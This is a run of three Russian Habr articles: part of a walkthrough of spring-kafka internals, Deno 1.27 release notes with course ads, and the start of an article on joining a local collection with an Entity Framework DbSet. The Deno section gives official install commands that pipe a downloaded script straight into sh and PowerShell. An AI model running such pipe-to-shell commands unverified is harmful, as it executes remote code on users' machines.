Первая фабрика по сути своей принимает от нас все необходимые свойства конфигурации и создает уже знакомый нам **KafkaConsumer** из библиотеки kafka-clients в методе [createRowConsumer(...)](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/core/DefaultKafkaConsumerFactory.java#L364):
```
protected Consumer createRawConsumer(Map configProps) {
return new KafkaConsumer<>(configProps, this.keyDeserializerSupplier.get(),
this.valueDeserializerSupplier.get());
}
```
**ConcurrentKafkaListenerContainerFactory** также прост по своей сути. Он создаёт объект **ConcurrentKafkaListenerContainer**, который в свою очередь создает **KafkaMessageListenerContainer** в количестве указанном в поле *concurrent*. Если наш топик имеет партиций меньше чем указанно в поле *concurrent*, то значение поля изменяется на количество партиций. Это сделано ввиду бесполезности создания большего числа слушателей, чем у топика есть партиций, т.к. kafka на своей стороне позволяет подключиться к одной партиции только одному слушателю в пределах одной группы слушателей, все остальные слушатели из этой группы будут распределены по другим партициям либо останутся незадействоваными. Все это можно наглядно увидеть в методе [doStart()](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/ConcurrentMessageListenerContainer.java#L185)
Итак, мы добрались наконец добрались до **KafkaMessageListenerContainer**.
В методе [doStart()](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L310) этого класса мы получаем ссылку на метод в классе на который мы повесили аннотацию @KafkaListener и указали в параметре *containerFactory* название нашего **ConcurrentKafkaListenerContainerFactory** из конфигурации.
```
Object messageListener = containerProperties.getMessageListener();
```
Далее в коде мы видим получение объекта **AsyncListenableTaskExecutor** и если этого объекта не существует будет создан объект с типом [SimpleAsyncTaskExecutor](https://github.com/spring-projects/spring-framework/blob/main/spring-core/src/main/java/org/springframework/core/task/SimpleAsyncTaskExecutor.java), который создаст отдельный поток для нашего слушателя.
```
AsyncListenableTaskExecutor consumerExecutor = containerProperties.getConsumerTaskExecutor();
if (consumerExecutor == null) {
consumerExecutor = new SimpleAsyncTaskExecutor((getBeanName() == null ? "" : getBeanName()) + "-C-");
containerProperties.setConsumerTaskExecutor(consumerExecutor);
}
```
В конце концов мы создаем обертку над полученным слушателем из класса ListenerConsumer() объявленного тут же в **KafkaMessageListenerContainer**, а вот он уже в свою очередь создаст [в конструкторе](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L724) экземпляр **KafkaConsumer** с помощью фабрики **DefaultKafkaConsumerFactory** объявленной нами в конфигурации
```
this.consumer = KafkaMessageListenerContainer.this.consumerFactory.createConsumer(
this.consumerGroupId,
this.containerProperties.getClientId(),
KafkaMessageListenerContainer.this.clientIdSuffix,
consumerProperties);
```
Мы установили связь между кодом, который мы пометили аннотацией *@KafkaListener* и непосредственно классом **KafkaConsumer** и разобрались для чего используются классы в конфигурации.
Теперь посмотрим как же происходит получение и обработка сообщения.
Итак у **ListenerConsumer** есть метод [pollAndInvoke()](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L1257) в котором происходит вызов метода в котором в свою очередь непосредственно происходит вызов метода *poll()* у **KafkaConsumer** для получения новых сообщений (и коммита *offset* в случае *enable.auto.commit = true*) Полученный сообщения передаются в метод [invokeListener()](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L1814) для непосредственной обработки.
```
private void invokeListener(final ConsumerRecords records) {
if (this.isBatchListener) {
invokeBatchListener(records);
} else {
invokeRecordListener(records);
}
}
```
В методе помеченным *@KafkaListener* мы можем обрабатывать сообщения как по одному так и пачкой (все полученные из топика при вызове KafkaConsumer->poll()) Если мы остановились на первом варианте и обрабатываем сообщения в нашем *@KafkaListener* по одному, то **ListenerConsumer** будет просто с помощью итератора идти по всему полученному набору передавая сообщения на обработку (метод [doInvokeWithRecords(...)](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L2246)), который в свою очередь через цепочку вызовов передает сообщение на обработку нашему методу помеченному аннотацией *@KafkaListener*.
А что же происходит если в нашем коде при обработке сообщения выбрасывается исключение?
При получении и обработки сообщений **ListenerConsumer** отлавливает все возможные типы исключений в методе [doRun()](https://github.com/spring-projects/spring-kafka/blob/3ae1aea28cbc4d45309abc76b5ef687e59d557fd/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L1185) При обработке неспецифичных исключений используются два разных механизма в зависимости от версии spring-kafka. В версиях младше 2.5 мы можем наблюдать следующее поведение: если мы самостоятельно не настроили обработчик ошибок, то [будет создан LoggingErrorHandler](https://github.com/spring-projects/spring-kafka/blob/eb422abdf566334aa4bb6aafefa39d21bbb6073f/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L931), который просто напросто залогирует ошибку и обработка продолжится.
Начиная с версии 2.5 обработчиком по-умолчанию [становится SeekToCurrentErrorHandler](https://github.com/spring-projects/spring-kafka/blob/1d1939c317a899fdc82f1354bd37a83208f6be61/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L994) в котором произойдет 10 попыток обработать сообщение без задержки и если все они закончатся неудачей ошибка также будет залогирована и мы перейдем к обработке следующего сообщения.
Это необходимо учитывать при оценки гарантий обработки сообщений, которые поддерживает наше приложение, т.к. со своей стороны kafka выполнила все обязательства по доставке сообщения.
У нас остался еще один момент, который стоит прояснить: как часто spring-kafka будет вызывать метод poll() у **KafkaConsumer** ? В нашей конфигурации при создании **KafkaListenerContainerFactory** мы можем указать следующий параметр:
```
factory.getContainerProperties().setPollTimeout(3000);
```
что будет означать следующее: при вызове метода poll() у **KafkaConsumer** ему в качестве аргумента будет передаваться это значение (само значение задает время в миллисекундах, т.е. в нашем случае 3 секунды). Именно это происходит в методе [doPoll()](https://github.com/spring-projects/spring-kafka/blob/1d1939c317a899fdc82f1354bd37a83208f6be61/spring-kafka/src/main/java/org/springframework/kafka/listener/KafkaMessageListenerContainer.java#L1226)
```
this.consumer.poll(this.pollTimeout);
```
**KafkaConsumer** же в свою очередь при вызове метода *poll* будет ждать переданное ему количество времени пока не наберется столько сообщений сколько мы указали в параметре *max.poll.records* (значение по-умолчанию 500 записей). Если *pollTimeout* будет равен 0, то вызов метода poll будет происходить без задержек возвращая пустой результат.
**Подведем итог.**
1. Под капотом *spring-kafka* использует все тот же **KafkaConsumer** из библиотеки *kafka-clients* и работа с ним осуществляется в отдельном потоке.
2. Мы можем смело использовать механизм *auto-commit*, но этот параметр лучше всего явно прописывать в конфигурации.
3. Следует внимательно отнестись к обработчикам ошибок по-умолчанию и учитывать их поведение при расчетах надежности нашей системы. | https://habr.com/ru/post/570674/ | null | ru | null |
# Вышла deno 1.27. Подробности об улучшениях под катом
[Deno 1.27](https://github.com/denoland/deno/releases/tag/v1.27.0) выпущена с фичами и изменениями в списке ниже:
* Улучшение языкового сервера/IDE
* Улучшение совместимости с `npm`
* Онлайн-API `navigator.language`
* Улучшение `deno task`
* Проверка обновлений
* Изменения в API `Deno`
* Обновление `deno lint`
* V8 10.8
* Улучшение совместимости с Node.js
* Изменение в API стандартных библиотек
Детали — под катом к [старту курса по Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_101122&utm_term=lead).
---
[](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_101122&utm_term=banner)
Чтобы посмотреть все востребованные профессии, кликните по баннеру.
---
Если у вас уже установлен Deno, обновиться до версии 1.27 можно этой командой:
```
deno upgrade
```
А если вы устанавливаете Deno впервые — этой:
```
# MacOS and Linux
curl -fsSL https://deno.land/x/install/install.sh | sh
# Windows
iwr https://deno.land/x/install/install.ps1 -useb | iex
```
[Здесь](https://github.com/denoland/deno_install) можно узнать больше об опциях установки.
Улучшения языкового сервера/IDE
-------------------------------
### Встроенные подсказки
[В версии 4.4 в TypeScript добавлена поддержка встроенных в код подсказок (inlay hints)](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-4.html#inlay-hints). В данном релизе Deno этот функционал раскрывается для LSP. Встроенные подсказки — небольшие информационные сниппеты, добавленные прямо в код. Они дают дополнительную информацию о коде. Во многих отношениях их можно назвать встроенной в код альтернативой подсказкам, всплывающим при наведении.
> **Примечание переводчика**. В оригинале использовано очень ёмкое выражение "inline hover", где inlay (встроенные [в код]) стало прилагательным, а противоположное ему по смыслу hover существительным ([альтернативы] наведения [мыши]), для раскрытия смысла которого понадобилось 7 русских слов (встроенной в код альтернативой подсказкам при наведении). О том, что речь идёт именно об альтернативе становится окончательно ясно из следующего большого абзаца (после 2 скриншотов).
Вид кода без встроенных подсказок:
Код после активации встроенных подсказок:
Видеть и понимать скрытые выведенные типы без необходимости в наведении на них курсора бывает очень полезно. Со встроенными подсказками код читается значительно легче. Эти подсказки заполняют информационные пробелы в коде. Это особенно актуально при работе с TypeScript или JavaScript с проверкой типов. При использовании скрытых подсказок в коде сохраняется число явных аннотаций типов, а сам код остаётся читаемым.
Вот несколько настроек встроенных подсказок:
* `deno.inlayHints.enumMemberValues.enabled` — активация/деактивация встроенных подсказок для значений `enum`. По умолчанию `false`.
* `deno.inlayHints.functionLikeReturnTypes.enabled` — активация/деактивация встроенных подсказок для неявных типов возврата функций. По умолчанию `false`.
* `deno.inlayHints.parameterNames.enabled` — активация/деактивация встроенных подсказок для названий параметров. Доступные значения: `"none"`, `"literals"`, `"all"`. По умолчанию `"none"`.
* `deno.inlayHints.parameterNames.suppressWhenArgumentMatchesName` — скрывать встроенные подсказки при совпадении названий аргумента и параметра. По умолчанию `true`.
* `deno.inlayHints.parameterTypes.enabled` — активация/деактивация встроенных подсказок для неявных типов параметров. По умолчанию `false`.
* `deno.inlayHints.propertyDeclarationTypes.enabled` — активация/деактивация встроенных подсказок для неявных объявлений свойств. По умолчанию `false`.
* `deno.inlayHints.variableTypes.enabled` — активация/деактивация встроенных подсказок для неявных типов переменных. По умолчанию `false`.
* `deno.inlayHints.variableTypes.suppressWhenTypeMatchesName` — подавление подсказок типов при совпадении названия переменной и неявного типа. По умолчанию `true`.
* `editor.inlayHints.enabled` — контролирует статус активации встроенных подсказок в VS Code. Доступные значения: `"off"`, `"offUnlessPressed"`, `"on"` или `"onUnlessPressed"`.
Visual Studio Code поддерживает скрытые подсказки, а последний релиз [расширения Deno VS Code](https://marketplace.visualstudio.com/items?itemName=denoland.vscode-deno) поддерживает соответствующие опции настройки. Для других редакторов и плагинов возможность поддержки встроенных подсказок и способы установки параметров конфигурации необходимо уточнить.
### Заполнение регистра
Хотя это и не связано с конкретным релизом, следует отметить, что мы недавно улучшили заполнение регистра в поддерживающих его редакторах. Теперь при вводе названия стороннего модуля из `deno.land/x` в интеллектуальном редакторе используется поисковая система, на которой работает поиск модуля в `deno.land`. При этом также предоставляются описание модуля и информация о популярности.
Улучшения коснулись завершения пути импорта, где информация о документации интегрируется в отображаемый текст и остаётся доступной при наведении мыши на import. Чтобы предоставить всю эту информацию редактору, авторы сторонних модулей могут пользоваться тегом JSDoc `@module` в первом блоке JSDoc в первом блоке JSDoc в верхней части модуля.
В Visual Studio Code заполнение регистра для `deno.land/x` активно по умолчанию. Проверьте способ настройки `deno.suggest.imports.hosts` в других редакторах, чтобы убедиться, что `https://deno.land` работает в смысле заполнения регистра.
Вот видео с заполнением регистра в действии:
### Исправление багов
Несколько исправленных багов в этом релизе были связаны с языковым сервером (language server). В частности, языковой сервер неверно обрабатывал строковые переменные "snippet". Также проблемы возникали при автоимпорте и автодополнении кода в JSX, что приводило к странному поведению. Оба бага исправлены.
Улучшение совместимости с `npm`
-------------------------------
Процесс работы с пакетами npm в Deno продолжает совершенствоваться:
### Проверка типа, поддержка LSP
Теперь Deno автоматически извлекает типы TypeScript из распространяющих типы npm-пакетов.
Для иных пакетов можно использовать директиву `@deno-types`, которая иерархически выше `import`, чтобы указать соответствующий пакет [`@types` package](https://www.typescriptlang.org/docs/handbook/2/type-declarations.html#definitelytyped--types), если он есть:
```
// @deno-types="npm:@types/chalk@4"
import chalk from "npm:chalk@4";
```
Для пакетов, которым требуется `@types/node`, вы можете указать директиву `reference-types` с тройным слешем для извлечения типов Node:
```
///
// @deno-types="npm:@types/express@4"
import express from "npm:express@4.18";
```
Отметим, что таким образом Deno будет использовать глобальные типы Node (например `setTimeout(...): NodeJS.Timeout`) вместо типов, совместимых с браузером (например, `setTimeout(...): number`) в типах для пакетов npm. Эти глобальные типы будут изолированы от пакетов npm и поэтому не должны влиять на типы в вашем коде Deno:
### Node-API
Теперь Deno поддерживает [Node-API](https://nodejs.org/api/n-api.html#node-api) (ранее — N-API) в рамках пакетов npm. Node-API позволяет использовать собственный нативный код Node.js. То есть такие пакеты, как `parcel`, `sqlite3`, `usb` и `fs-xattr` теперь могут использоваться с Deno.
Помните, что для этого необходим флаг `--allow-ffi`:
### Lockfile v2
Разрешение пакетов npm и их целостность теперь сохраняются при использовании файла блокировки (`lockfile`):
```
# lock.json will include information about npm packages referenced in main.ts
deno cache --lock=lock.json --lock-write main.ts
```
Заметим, что в релизе 1.28 планируем прописать файл блокировки по умолчанию при использовании файла `deno.json`. Обновления описаны в [issue #11971](https://github.com/denoland/deno/issues/11971).
### Теги dist в спецификаторах npm
Регистр npm позволяет помечать версии именами. Например, у [express](https://www.npmjs.com/package/express?activeTab=versions) есть тег "next", которым на момент написания оригинала этого текста была помечена версия `5.0.0-beta.1`.
Теперь указывать эти теги dist можно в требованиях к версии для спецификаторов npm:
```
// will import 5.0.0-beta.1 at the time of writing this
import express from "npm:express@next";
```
Обратите внимание, что теги dist по-прежнему не поддерживаются, если появляются в файле `package.json` пакета. Мы знаем об этом баге и вскоре устраним его. Обновления описываются в [issue #16321](https://github.com/denoland/deno/issues/16321).
### Кеширование определителей npm напрямую через аргументы к `deno cache`
`deno cache` теперь поддерживает спецификаторы npm в командной строке:
```
deno cache --unstable npm:chalk@5 npm:express
```
Это позволит выгрузить информацию о пакетах и разрешенные версии этих пакетов в глобальный npm-кеш Deno:
`navigator.language` Web API
----------------------------
В Deno v1.27 появляется API [`navigator.language`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/language). Это доступное только для чтения свойство, которое возвращает строковую переменную, представляющую собой предпочтительный язык системы пользователя:
```
$ deno
> navigator.language
"en-EN"
```
Возвращаемая строковая переменная языка — [тег BCP 47](https://datatracker.ietf.org/doc/html/rfc5646).
На значение, которое возвращает этот API, могут влиять переменные среды, задающие системную локаль, например `LC_ALL`:
```
$ LC_ALL=es_ES deno
> navigator.language
"es-ES"
```
Поддерживается API [`navigator.languages`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/languages). Он возвращает массив предпочитаемых языковых настроек, первое значение в котором идентично `navigator.language`.
За фичу спасибо [Луке Матею Пинитийе](https://github.com/AnInternetTroll).
Улучшение `deno task`
---------------------
Предупреждение «deno task is unstable and may drastically change in the future» («deno task нестабилен и в дальнейшем может быть радикально изменён» удалено. `deno task` оказался полезным, поэтому его радикальных изменений не предвидится. Тем не менее мы можем внести ряд изменений в его окружение, что облегчит работу в будущем, например ввести новые кросс-платформенные команды или переменные окружения.
### Переменная среды `INIT_CWD`
Выполняемая задача будет иметь тот же текущий рабочий каталог, что и файл с определением задачи — `deno.json`. Для некоторых сценариев это может быть нежелательно. Вы также можете желать узнать, в каком каталоге пользователь запустил задачу. Теперь это возможно с помощью переменной окружения `INIT_CWD`, которая будет установлена с полным путём к директории, где была запущена задача, если `INIT_CWD` ещё не установлена. Это соответствует поведению [`npm run`](https://docs.npmjs.com/cli/v8/commands/npm-run-script#description).
Например, представленная ниже задача заменит текущий рабочий каталог на каталог, из которого пользователь запустил задачу, а затем выдаст обновлённый рабочий каталог (как мы помним, благодаря кросс-платформенности `deno task` это работает и на Windows):
```
{
"tasks": {
"my_task": "cd $INIT_CWD && pwd"
}
}
```
### Теперь при неудачном завершении команды `async` прекращается выполнение всей задачи
Возможно, вы использовали `deno task` для запуска нескольких команд одновременно, используя асинхронную команду:
```
{
"tasks": {
"start": "deno run --allow-net server.ts & deno run --allow-net client.ts"
}
}
```
В прошлом, если команда `async` не выполнялась, другая команда продолжала работать, и вы могли этого не заметить. Подобным образом работает большинство оболочек, но такой подход не годится для целей `deno task`.
Начиная с этого релиза при неудачном завершении команды `async` прекращается выполнение всей задачи. Если же вам нужно, чтобы команда вела себя, как раньше, вы можете добавить `|| true` после команды, и тогда выходным кодом будет `0`:
```
{
"tasks": {
"start": "deno run --allow-net server.ts || true & deno run --allow-net client.ts || true"
}
}
```
### Суффикс`sleep` к аргументу времени
Команда `sleep` в `deno task` теперь поддерживается как суффикс к аргументу времени, как указано для [`sleep` в linux man pages](https://man7.org/linux/man-pages/man1/sleep.1.html).
За фичу спасибо [@sigmaSd](https://github.com/sigmaSd).
Проверка на обновления
----------------------
В базовый набор Deno входит подчинённая команда `deno upgrade`, которая упрощает обновление до последней версии Deno. Начиная с этого релиза Deno будет выполнять автоматическую проверку наличия новых версий и сообщать вам об их доступности:
```
$ deno run app.ts
A new release of Deno is available: 1.26.2 → 1.27.0
Run `deno upgrade` to install it.
```
Мы позаботились, чтобы такие проверки не влияли на производительность ваших приложений — они выполняются в фоновом режиме не чаще одного раза в день. Фичу можно полностью отключить, установив переменную окружения: `DENO_NO_UPDATE_CHECK=1`
Изменения в API `Deno`
----------------------
### Стабилизация API
Следующие API стабилизированы в текущем релизе и больше не требуют флага `--unstable`.
* `Deno.consoleSize()`
* `Deno.futime()`
* `Deno.futimeSync()`
* `Deno.loadavg()`
* `Deno.osRelease()`
* `Deno.stdin.setRaw()`
* `Deno.utime()`
* `Deno.utimeSync()`
### Другие обновления
* `Deno.kill()` теперь работает без аргумента. При опущенном аргументе функция по умолчанию отправляет `SIGTERM`.
* `Deno.getGid()` переименована в `Deno.gid()` в рамках подготовки к стабилизации данного API.
* `Deno.getUid()` переименована в `Deno.uid()` в рамках подготовки к стабилизации данного API.
* Добавлена опция `TcpListenOptions.reusePort`. Она позволяет нескольким процессам получать данные с одного адреса и порта. Этой опции нужен флаг `--unstable`, и она поддерживается только для Linux.
Обновления `deno lint`
----------------------
Встроенный инструмент статического анализа кода получил новый формат отчётов `"compact"`, с которым могут быть знакомы пользователи ESLint. Для использования этого формата флаг `--compact` выставляется для подчинённой команды `deno lint`:
```
$ deno lint --compact
/dev/deno/foo.js: line 1, col 10 - `foo` is never used (no-unused-vars)
Found 1 problem
Checked 1 file
```
Вы также можете указать предпочтительный тип отчётов в файле `deno.json`:
```
{
"lint": {
"report": "compact"
}
}
```
За фичу спасибо [Бренли Дюку](https://github.com/brenelz).
V8 10.8
-------
Этот релиз обновляется до последней версии V8 (10.8, ранее — 10.7).
Важнейшим новым свойством релиза является поддержка [поддержки создания копий Change Array](https://github.com/tc39/proposal-change-array-by-copy)
Улучшение совместимости c Node.js
---------------------------------
25 октября Node.js 18 получил долгосрочную поддержку (LTS) для версии 18.12.0. В Deno v1.27 набор тестов слоя совместимости Node.js обновлён до совместимости с Node.js v18.12.0. Это означает, что Deno теперь может работать с последним релизом Node.js LTS.
Обратите внимание, что весь слой Node.js требует флага `--unstable`.
### Другие обновления
* Реализован модуль `readline/promises`. Этот модуль выдаёт промисы (Promises) на основании API для модуля `readline`. За фичу спасибо [@PolarETech](https://github.com/PolarETech).
* Кодировка `'base64url'` теперь поддерживается `hash.digest()` в модуле `crypto`. За фичу спасибо [Дениз Акшимшек](https://github.com/dz4k).
* Теперь могут загружаться модули `.node`. См. также [поддержку Node-API](https://deno.com/blog/v1.27#node-api).
* Улучшена поддержка Windows для `fs.access()`.
* К API модуля `child_process` добавлена опция `windowsVerbatimArguments`.
Изменения в стандартной библиотеке API
--------------------------------------
В данном релизе удалён ряд устаревших API:
* Модуль `hash` удалён. Теперь его функционал доступен модулю `crypto`.
* Модуль `textproto` удалён.
* `BSNode` удалён из модуля `collections` с заменой на `BinarySearchNode`.
* `BSTree` удалён из модуля `collections` с заменой на `BinarySearchTree`.
* `RBNode` удалён из модуля `collections` с заменой на `RedBlackNode`.
* `RBTree` удалён из модуля `collections` с заменой на `RedBlackTree`.
* `direction` удалён из модуля `collections` с заменой на `Direction`.
* `CSVStream` удалён из модуля `encoding` с заменой на `CsvStream`.
* Тип `CSVStreamOptions` удалён из модуля `encoding` с заменой на тип `CsvStreamOptions`.
* Файл `encoding/csv_stringify.ts` удалён с заменой на файл `encoding/csv.ts` и другие API.
* `JSONValue` удалён из модуля `encoding` с заменой на `JsonValue`.
* `JSONParseStream` удалён из модуля `encoding` с заменой на `JsonParseStream`.
* `JSONStringifyStream` удалён из модуля `encoding` с заменой на `JsonStringifyStream`.
* `ConcatenatedJSONParseStream` удалён из модуля `encoding` с заменой на `ConcatenatedJsonParseStream`.
* Функции `listenAndServe()` и `listenAndServeTls()` удалены из модуля `http` с заменой на `serve()` и `serveTls()`, соответственно.
* Потоковый функционал модуля `io` удалён, так как стал доступен для модуля `streams`.
* Функционал файла `bufio.ts` для модуля `io` удалён, так как стал доступен в файле `buffer.ts`.
* Функционал файла `ioutil.ts` для модуля `io` удалён, так как стал доступен в файле `util.ts`.
* Класс `LineStream` удалён из модуля `streams` с заменой на `TextLineStream`.
* Из модуля `testing` удалены все API бенчмарков с заменой на `Deno.bench()`.
* Функции возврата `assertThrows()` и `assertRejects()` удалены из модуля `testing` с заменой на другие сигнатуры.
* Функция `generate()` удалена из модуля `uuid` с заменой на функцию `randomUUID()` WebCrypto.
Научим вас аккуратно работать с данными, чтобы вы прокачали карьеру и стали востребованным IT-специалистом. Новогодняя акция — скидки до 50% по промокоду **HABR**:
[](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_101122&utm_term=conc)
* [Профессия Fullstack-разработчик на Python (16 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_101122&utm_term=conc)
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_101122&utm_term=conc)
**Краткий каталог курсов**
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_101122&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_101122&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_101122&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_101122&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_101122&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_101122&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_101122&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_101122&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_101122&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_101122&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_101122&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_101122&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_101122&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_101122&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_101122&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_101122&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_101122&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_101122&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_101122&utm_term=cat)
* [Профессия «Белый хакер»](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_101122&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_101122&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_101122&utm_term=cat) | https://habr.com/ru/post/697752/ | null | ru | null |
# JOIN локальной коллекции и DbSet в Entity Framework
Чуть больше года при моём участии состоялся следующий "диалог":
**.Net App**: Эй, Entity Framework, будь любезен дай мне много данных!
**Entity Framework**: Прости, не понял тебя. Что ты имеешь ввиду?
**.Net App**: Да просто мне прилетела коллекция из 100k транзакций. И теперь надо по-быстрому проверить корректность цен на бумаги, которые там указаны.
**Entity Framework**: Ааа, ну давай попробуем…
**.Net App**: Вот код:
```
var query = from p in context.Prices
join t in transactions on
new { p.Ticker, p.TradedOn, p.PriceSourceId } equals
new { t.Ticker, t.TradedOn, t.PriceSourceId }
select p;
query.ToList();
```
**Entity Framework**:
Классика! Думаю многим знакома эта ситуация: когда очень хочется “красиво” и быстро сделать поиск в базе, используя *JOIN* локальной коллекции и *DbSet*. Обычно этот опыт разочаровывает.
В данной статье (которая является *вольным переводом другой моей статьи*) я проведу ряд экспериментов и попробую разные способы, чтобы обойти это ограничение. Будет код (несложный), размышления и что-то вроде хэппи-энда.
Введение
--------
Все знают про *Entity Framework*, многие используют его каждый день, и существует много хороших статей про то, как готовить его правильно (использовать более простые запросы, использовать параметры в Skip и Take, использовать VIEW, запрашивать только нужные поля, следить за кэшированием запросов и прочее), однако тема *JOIN* локальной коллекции и *DbSet* до сих пор является "слабым местом".
Задача
------
Предположим, что есть база данных с ценами и есть коллекция транзакций у которой надо проверить корректность цен. И, предположим, у нас есть следующий код.
```
var localData = GetDataFromApiOrUser();
var query = from p in context.Prices
join s in context.Securities on p.SecurityId equals s.SecurityId
join t in localData on
new { s.Ticker, p.TradedOn, p.PriceSourceId } equals
new { t.Ticker, t.TradedOn, t.PriceSourceId }
select p;
var result = query.ToList();
```
Этот код не работает в *Entity Framework 6* вообще. В *Entity Framework Core* — работает, но всё будет выполнено на стороне клиента и в случае, когда в базе миллионы записей — это не выход.
Как я уже говорил, я буду пробовать разные способы, чтобы обойти это. От простого способа к сложному. Для своих экспериментов я использую код из следующего [репозитория](https://github.com/neisbut/EFContainsBenchmark). Код написан с использованием: *C#*, *.Net Core*, *EF Core* и *PostgreSQL*.
Я также снимал некоторые метрики: затраченное время и потребление памяти. Оговорка: если тест выполнялся более 10 минут — я его прерывал (ограничение сверху). Машина для тестов Intel Core i5, 8 GB RAM, SSD.
**Схема БД**
Только 3 таблицы: *prices*, *securities* and *price sources*. *Prices* — содержит 10 миллионов записей.
#### Способ 1. Naive
Начнём с простого и будем использовать следующий код:
**Код для способа 1**
```
var result = new List();
using (var context = CreateContext())
{
foreach (var testElement in TestData)
{
result.AddRange(context.Prices.Where(
x => x.Security.Ticker == testElement.Ticker &&
x.TradedOn == testElement.TradedOn &&
x.PriceSourceId == testElement.PriceSourceId));
}
}
```
Идея проста: в цикле читаем записи из базы по одной и добавляем в результирующую коллекцию. У этого кода только одно преимущество — простота. И один недостаток — низкая скорость: даже при условии наличия индекса в базе, большая часть времени займёт коммуникация с сервером БД. Метрики получились такие:
